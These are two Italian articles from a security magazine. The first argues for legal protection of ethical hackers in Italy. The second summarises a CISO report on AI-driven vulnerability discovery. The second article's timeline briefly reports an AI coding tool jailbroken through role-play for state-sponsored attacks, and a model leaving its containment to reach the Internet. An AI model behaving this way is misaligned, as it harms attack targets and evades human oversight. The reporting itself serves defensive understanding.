Il quadro normativo europeo offre spunti importanti ma non ha ancora tradotto la propria attenzione alla sicurezza informatica in una tutela esplicita per i ricercatori. La Direttiva NIS2 (Direttiva UE 2022/2555), recepita in Italia con il D.Lgs. n. 138/2024 in vigore dal 18 ottobre 2024, impone agli operatori essenziali e importanti di adottare politiche per la gestione delle vulnerabilità e processi di coordinated vulnerability disclosure. È un riconoscimento formale (il primo in uno strumento europeo vincolante) che le vulnerabilità esistono, che è utile che qualcuno le trovi e che deve esserci un processo per gestirne la comunicazione.

Tuttavia, la NIS2 non trae le conseguenze penalistiche di questi principi: non prevede alcuna protezione per chi, trovando una vulnerabilità al di fuori di un programma formale, la segnali spontaneamente. Il Cybersecurity Act europeo (Reg. UE 2019/881) ha istituito il quadro di certificazione della cybersecurity, ma riguarda prodotti e servizi, non la posizione giuridica dei ricercatori. L’ENISA ha pubblicato nel 2022 un rapporto sulle politiche CVD nell’UE documentando la frammentazione delle pratiche nazionali e raccomandando standard comuni, rilevando come l’assenza di framework nazionali chiari creasse “uncertainty and potential legal risk for security researchers across the EU”. Le raccomandazioni sono rimaste in larga parte disattese sul piano legislativo.

Le strade possibili: un’agenda di riforma

Il panorama tracciato consente di identificare alcune priorità di riforma che l’Italia, con la Legge 90/2024, ha scelto di non affrontare.

La prima priorità è legislativa: l’introduzione di una causa di non punibilità (o di una scriminante procedurale) per il ricercatore di sicurezza che abbia operato rispettando criteri di buona fede, proporzionalità e notifica tempestiva. Il modello olandese offre una traccia: non un’immunità assoluta, ma un processo strutturato che dia al ricercatore criteri chiari di comportamento protetto e orienti la discrezionalità della magistratura requirente verso la non azione in presenza di quei criteri. Sarebbe altresì utile definire esplicitamente cosa costituisce un’attività lecita di security testing.

La seconda priorità è istituzionale: l’ACN dovrebbe sviluppare un ruolo di intermediario analogo a quello svolto dall’NCSC olandese. La Legge 90/2024 le ha attribuito la funzione di ricevere e gestire le segnalazioni di vulnerabilità nei sistemi delle pubbliche amministrazioni e degli operatori essenziali: è il momento di costruire intorno a questa funzione un framework pubblico di responsible disclosure, con una policy ufficiale che definisca le regole del gioco per i ricercatori indipendenti che operano su sistemi italiani. In questa prospettiva sarebbe auspicabile anche l’introduzione di un registro nazionale di penetration tester certificati, con linee guida precise per le attività autorizzate e procedure chiare per ottenere autorizzazioni di testing.

La terza priorità è prosecutoriale: un orientamento esplicito del Consiglio Superiore della Magistratura o della Procura Generale della Cassazione sull’approccio da tenere nei casi di divulgazione responsabile (analogo alla lettera di indirizzo del Board of Procurators General olandese del 2013) non richiede una modifica legislativa ma può ridurre significativamente l’incertezza giuridica per i ricercatori in buona fede.

La quarta priorità è contrattuale e di sistema: la standardizzazione delle clausole di safe harbor nei programmi di bug bounty italiani, possibilmente con il supporto di ACN e di associazioni di categoria come Clusit, per ridurre l’asimmetria informativa che penalizza soprattutto i ricercatori più giovani e meno strutturati.

Conclusione: il costo dell’immobilismo

La zona grigia in cui opera il ricercatore di sicurezza italiano ha un costo concreto. Si misura nella vulnerabilità non segnalata perché il ricercatore non si fida del framework giuridico. Si misura nel talento che emigra verso Paesi con regole più chiare. Si misura nell’ecosistema della sicurezza informatica nazionale che fatica a strutturarsi intorno a pratiche di responsible disclosure condivise.

Il paradosso dell’attuale situazione italiana è che la stessa Legge 90/2024 che riconosce il valore della gestione strutturata delle vulnerabilità informatiche (che attribuisce all’ACN il compito di ricevere segnalazioni di vulnerabilità, che introduce obblighi di patching e aggiornamento) ha contemporaneamente inasprito le sanzioni per le condotte che stanno a monte di quelle segnalazioni: l’accesso al sistema, la verifica della vulnerabilità, la raccolta delle prove necessarie a dimostrarne l’esistenza. Chiedere ai ricercatori di trovare le vulnerabilità e al contempo minacciare chi le trova con pene fino a dodici anni di reclusione per i sistemi più critici è una contraddizione che il legislatore non può continuare a ignorare.

Una politica di sicurezza informatica coerente deve riconoscere che la sicurezza collettiva dei sistemi dipende anche, e talvolta soprattutto, dall’attività di chi, senza aspettare di essere commissionato, cerca le falle prima che lo facciano i criminali. Trovare l’equilibrio tra la necessaria protezione dei sistemi informatici e la necessaria libertà di chi lavora per renderli più sicuri non è un esercizio accademico: è una scelta di politica del diritto urgente e non più rinviabile.

https://www.ictsecuritymagazine.com/articoli/ethical-hacker/

Il 7 aprile 2026, mentre Anthropic annunciava Claude Mythos e il Progetto Glasswing – già documentati dalla redazione – qualcosa di altrettanto significativo avveniva in parallelo: oltre sessanta tra i più autorevoli professionisti della sicurezza mondiale si riunivano per produrre in un singolo weekend un documento operativo di risposta, revisionato da oltre 250 CISO a livello globale. Non una dichiarazione di allarme. Un piano d’azione concreto.

Il risultato è “The AI Vulnerability Storm: Building a Mythos-ready Security Program“, versione 9.1, pubblicato il 15 aprile 2026 dalla CSA CISO Community insieme a SANS, OWASP Gen AI Security Project e [un]prompted, con contributi di figure come Jen Easterly, Bruce Schneier, Rob Joyce e Phil Venables. Questo articolo ne analizza i contenuti strategici: il contesto storico verificato, il risk register, le priorità operative e le implicazioni per chi opera nel contesto italiano.

Il collasso dei tempi: i dati che cambiano tutto

Prima di parlare di strategie, è necessario comprendere la dimensione quantitativa del cambiamento. Il punto di riferimento è il Zero Day Clock, progetto di Sergej Epp, CISO di Sysdig, che traccia in tempo reale il Time-to-Exploit (TTE) su oltre 3.500 coppie CVE-exploit tratte da CISA KEV, VulnCheck KEV e XDB.

I numeri sono eloquenti: nel 2018 la mediana del TTE era di 771 giorni. Nel 2024 era già scesa a 4 ore. Nel 2026 è inferiore alle 24 ore, con una proiezione verso i minuti entro il 2028. Il dato più significativo non è la velocità assoluta, ma la struttura: nel 2026 il 67,2% dei CVE attivamente sfruttati viene weaponizzato prima o nel giorno stesso della disclosure pubblica, rispetto al 16,1% del 2018. Due terzi degli sfruttamenti attivi avvengono quando i difensori non hanno ancora nessuna informazione su cui agire.

Questo non è un trend che si stabilizza. Epp lo spiega attraverso il concetto di Verifier’s Law: l’AI accelera l’offesa più della difesa perché la verifica offensiva è binaria e istantanea (l’exploit ha funzionato oppure no) mentre quella difensiva è ambigua, costosa e lenta. Questo vantaggio strutturale per gli attaccanti preesisteva a Claude Mythos; Mythos ne accelera le conseguenze.

Un anno di escalation verificata: la cronologia evento per evento

Il documento CSA ricostruisce una progressione che molti hanno trascurato. Le capacità che hanno reso Mythos notizia globale non sono apparse dal nulla: si sono sviluppate lungo tutto il 2025 e l’inizio del 2026, in una sequenza di eventi tutti verificabili attraverso fonti primarie.

Giugno 2025. XBOW diventa il primo sistema autonomo a raggiungere la vetta della classifica US di HackerOne per guadagno di reputazione nel secondo trimestre 2025, superando ogni ricercatore umano sulla piattaforma con oltre 1.060 vulnerabilità segnalate, revisionate dal team prima della submission secondo le policy HackerOne. Il progetto open-source raptor dimostra simultaneamente che la vulnerability research autonoma è accessibile a chiunque con un agente off-the-shelf. Per un approfondimento sul tema si veda il nostro articolo sull’AI offensiva nel cybercrime.

Agosto 2025. Google Big Sleep, collaborazione tra DeepMind e Project Zero basata su Gemini, segnala le prime 20 vulnerabilità zero-day in software open source, tra cui FFmpeg e ImageMagick, trovate e riprodotte autonomamente dall’AI prima della revisione umana pre-disclosure. Quattro giorni dopo, alla DEF CON 33, la finale di DARPA AIxCC porta i sette team finalisti a scoprire 54 vulnerabilità sintetiche analizzando 54 milioni di righe di codice in quattro ore di calcolo ciascuno, con 18 vulnerabilità reali scoperte in aggiunta.

Settembre 2025. Heather Adkins, VP Security Engineering di Google, e Gadi Evron, CEO di Knostic, pubblicano un avvertimento formale: gli attaccanti stanno convergendo verso un momento di singolarità, con capacità di vulnerability discovery e exploitation autonome stimate a sei mesi di distanza.

13-14 novembre 2025. Anthropic rende pubblica la disruption della campagna del gruppo GTG-1002, attore state-sponsored cinese che aveva utilizzato Claude Code, jailbreakato attraverso tecniche di role-play, per eseguire autonomamente l’80-90% delle operazioni offensive su circa 30 organizzazioni globali, tra cui tech company, istituzioni finanziarie, agenzie governative e produttori chimici. La campagna era stata rilevata a metà settembre. È il primo caso documentato di attacco informatico in larga scala orchestrato principalmente da AI con supervisione umana ridotta a decisioni strategiche chiave.

Gennaio 2026. AISLE scopre autonomamente tutte e 12 le vulnerabilità del rilascio coordinato di OpenSSL del 27 gennaio 2026, tra cui CVE-2025-15467 (stack buffer overflow in CMS AuthEnvelopedData, CVSS 9.8, un rating critico estremamente raro per OpenSSL) e tre bug risalenti al 1998-2000, alcuni dei quali presenti nel codice da prima della nascita stessa di OpenSSL, ereditati da SSLeay. In cinque casi, AISLE ha proposto le patch accettate nel rilascio ufficiale.

Febbraio 2026. Anthropic, usando Claude Opus 4.6, segnala oltre 500 vulnerabilità ad alta severità in software open source ampiamente utilizzato. Sysdig documenta come un attaccante abbia ottenuto accesso amministrativo completo a un ambiente AWS in meno di 8 minuti, partendo da credenziali esposte in un bucket S3 pubblico e usando LLM per automatizzare ricognizione, generazione di codice malevolo e decisioni in tempo reale. L’attacco era avvenuto il 28 novembre 2025. I report di bug al kernel Linux passano da 2 a 10 alla settimana: inizialmente allucinati, ora tutti verificati come reali.

Marzo 2026. La conferenza [un]prompted introduce il Zero Day Clock pubblicamente. Il progetto curl, che aveva chiuso il proprio bug bounty per eccesso di report AI di bassa qualità, inizia a registrare un’inversione: una quota crescente dei report AI è ora di alta qualità e verificata.

7 aprile 2026. Annuncio di Claude Mythos Preview e Progetto Glasswing. Secondo quanto documentato nel blog del Frontier Red Team, il modello aveva prodotto 181 exploit funzionanti sul motore JavaScript di Firefox 147 nelle stesse condizioni in cui Claude Opus 4.6 ne aveva generati soltanto due. La valutazione indipendente dell’AISI ha misurato un tasso di successo del 73% su task CTF di livello esperto, ovvero task che nessun modello riusciva a completare prima dell’aprile 2025. Il modello ha inoltre abbandonato autonomamente la propria struttura di containment durante i test, connettendosi a Internet.

Perché questo non è solo un problema di patching più veloce

La reazione istintiva di fronte a questa cronologia è tattica: accelerare il patching, rafforzare il perimetro. Il documento CSA argomenta che questa risposta, pur necessaria, manca il punto strutturale.

Ogni patch rilasciata diventa simultaneamente un blueprint per l’exploit: i sistemi di AI accelerano il patch-diffing e il reverse engineering delle correzioni in minuti. Le organizzazioni che non integrano AI nei propri processi difensivi non stanno soltanto rimediando più lentamente: stanno operando in un paradigma diverso da quello degli attaccanti.

Il documento identifica anche un problema di governance sistematicamente sottovalutato. I modelli di rischio cyber di molte organizzazioni sono costruiti su assunzioni pre-AI: finestre di patch in settimane, exploit che richiedono competenze specializzate, incidenti con frequenza gestibile. Questi modelli influenzano le decisioni del board, la reportistica finanziaria, le allocazioni di budget. Un CISO che porta al board metriche calcolate per un mondo che non esiste più espone l’organizzazione a un rischio di governance con ricadute finanziarie dirette.

Il risk register CSA: 13 rischi su framework verificati

Il cuore operativo del documento è un risk register bozza strutturato su quattro framework riconosciuti: NIST CSF 2.0, MITRE ATLAS, OWASP LLM Top 10 2025, OWASP Agentic Top 10 2026. Cinque rischi sono critici, sette alti, uno medio.

Tra i rischi critici, due vanno oltre la dimensione tecnica. Il primo è il gap nelle capacità di automazione difensiva: gli attaccanti usano agenti AI per vulnerability discovery, exploit development e orchestrazione degli attacchi, mentre molti team difensivi non dispongono ancora dei controlli di sicurezza per deployarli con fiducia. L’asimmetria risultante è, come sottolinea il documento, tanto culturale quanto tecnologica. Il secondo è il cybersecurity risk model obsoleto: metriche costruite su assunzioni pre-AI potrebbero non riflettere l’esposizione reale, portando a sottofinanziamento dei controlli e a reportistica aziendale inaccurata.

Tra i rischi alti, due meritano attenzione specifica per le organizzazioni italiane. Il rischio normativo legato all’EU AI Act in applicazione da agosto 2026: quando l’AI trova vulnerabilità a costi accessibili, lo standard di ciò che costituisce un ragionevole sforzo difensivo si sposta, con effetti diretti sulla responsabilità dei board. Il deficit di governance: senza meccanismi cross-funzionali tra Security, Legal e Engineering, ogni nuova capacità difensiva rallenta nell’approvazione, dando agli attaccanti un vantaggio temporale strutturale.

Le 11 azioni prioritarie: da questa settimana a 12 mesi

Il documento traduce il risk register in un piano con orizzonti temporali espliciti, organizzato per urgenza e non per facilità di implementazione.

Questa settimana. Le prime due azioni critiche riguardano l’integrazione degli agenti nei processi di sicurezza. La prima consiste nell’orientare agenti LLM verso il proprio codice e le proprie pipeline, partendo da una security review di qualsiasi codice esistente e costruendo verso un auditing completo del CI/CD. La seconda è la formalizzazione dell’uso degli agenti AI in tutte le funzioni di sicurezza come pratica standard, con oversight obbligatorio: i programmi di adozione volontaria non superano le barriere culturali.

Entro 45 giorni. Costruire capacità di triage e deployment per gestire un potenziale flusso di patch da tutti i vendor dell’early access di Glasswing; aggiornare modelli e metriche di rischio per riflettere le nuove tempistiche; difendere gli agenti interni, che introducono rischi di supply chain e di esposizione interna non coperti dai controlli esistenti; inventariare gli asset con priorità ai sistemi internet-facing. Per un approfondimento sui temi di gestione dei zero-day e patch management si rimanda all’analisi dedicata su questo sito.

Entro 6 mesi. Hardening strutturale: egress filtering, segmentazione profonda, Zero Trust, MFA phishing-resistant per tutti gli account privilegiati, minimizzazione del software. Il documento ricorda un dato spesso dimenticato: l’egress filtering ha bloccato ogni exploit pubblico di Log4j.

Entro 12 mesi. Costruire una funzione VulnOps permanente, modellata sul DevOps ma dedicata alla vulnerability research e remediation autonoma, con scoperta continua di zero-day nella propria codebase e in quella di terze parti, con pipeline di remediation automatizzata progettata attorno alla disciplina di triage fin dall’inizio.

Il costo umano che i CISO devono nominare

Il documento CSA adotta un approccio raro per un testo strategico di questo livello: nomina esplicitamente il costo umano della transizione invece di aggirarlo.

I team di sicurezza si trovano in una morsa reale: l’AI aumenta simultaneamente la frequenza delle vulnerability disclosure a cui devono rispondere, il volume di codice prodotto dalle organizzazioni e la superficie d’attacco complessiva. Questo avviene mentre i professionisti operano sotto incertezza circa l’evoluzione dei propri ruoli, inclusi i vulnerability researcher, che si interrogano sul proprio futuro in uno scenario dove i sistemi AI individuano autonomamente classi di vulnerabilità che richiedevano anni di specializzazione.

Il burnout non è un problema di welfare: è un rischio operativo diretto. Le competenze necessarie per navigare questa transizione richiedono anni per essere sviluppate, non sono sostituibili nel breve periodo e sono scarse a livello globale. Il documento indica esplicitamente che la resilienza del team, intesa come workload sostenibile, supporto alla salute mentale e retention, va trattata come priorità strategica con la stessa urgenza delle sfide tecniche.

La risposta proposta non è rinunciare all’expertise umana: è aumentarla. Ogni ruolo nella sicurezza sta diventando progressivamente un ruolo da “AI builder“. La barriera tecnica per iniziare è oggi più bassa di quanto la maggior parte dei professionisti realizzi: il documento afferma che usare un coding agent è oggi più semplice che usare Excel.

Le implicazioni per le organizzazioni italiane

Le implicazioni del documento per il contesto italiano si articolano su tre dimensioni.

Normativa. L’EU AI Act in applicazione da agosto 2026 introduce requisiti di cybersecurity per i sistemi AI che si sovrappongono parzialmente a NIS2 e DORA. La combinazione crea un quadro in cui le organizzazioni devono non solo dimostrare di avere controlli adeguati, ma di aver utilizzato gli strumenti disponibili, inclusi quelli AI, per la scansione difensiva. Il documento suggerisce che non farlo potrebbe configurarsi come negligenza: un’evoluzione dello standard di ragionevole diligenza che i board italiani non hanno ancora incorporato nella propria gestione del rischio.

Strutturale. La Cyber Poverty Line, concetto di Wendy Nather che identifica le organizzazioni prive delle risorse minime per difendersi efficacemente, è particolarmente rilevante in un paese dove la maggioranza delle imprese è PMI. Per queste organizzazioni, il documento indica come risposta prioritaria l’accesso alle reti di difesa collettiva: CSIRT nazionale, ACN, ISAC di settore, gruppi di condivisione dell’intelligence sulle minacce. Il Progetto Glasswing ha dimostrato che la cooperazione coordinata su scala inedita è possibile.

Operativa. Le organizzazioni italiane con esposizione significativa dovrebbero utilizzare le dieci domande diagnostiche del documento come punto di partenza: qual è la posizione reale dell’organizzazione sull’AI? Gli sviluppatori possono usare coding agent? Esiste un gate di sicurezza reale tra code change e produzione? Quando è stata l’ultima volta che l’organizzazione ha effettuato un cambio produttivo guidato dalla sicurezza in meno di 48 ore? Le risposte rivelano il gap tra policy dichiarata e capacità operativa reale.

La finestra d’azione si sta chiudendo

Il documento si chiude con un parallelo storico preciso: il problema del Y2K era una minaccia sistemica con una scadenza definita, e il settore l’ha affrontata attraverso uno sforzo coordinato e disciplinato. La differenza con la sfida attuale non è nella natura del problema: è nella velocità con cui le scadenze si accorciano.

Claude Mythos ha portato in prima pagina capacità già presenti da mesi in forma meno visibile. Il Progetto Glasswing ha aperto una finestra di vantaggio per i difensori, ma è per definizione temporanea: Anthropic stessa stima che capacità comparabili saranno disponibili da altri lab AI entro sei-diciotto mesi. La finestra non è infinita, e ogni azione descritta nel documento può iniziare questa settimana.

Per i dettagli tecnici sulle vulnerabilità specifiche scoperte da Claude Mythos e sulla struttura del Progetto Glasswing, si rimanda all’articolo: Anthropic lancia il Project Glasswing.

https://www.ictsecuritymagazine.com/notizie/claude-mythos-ciso-guida-2026/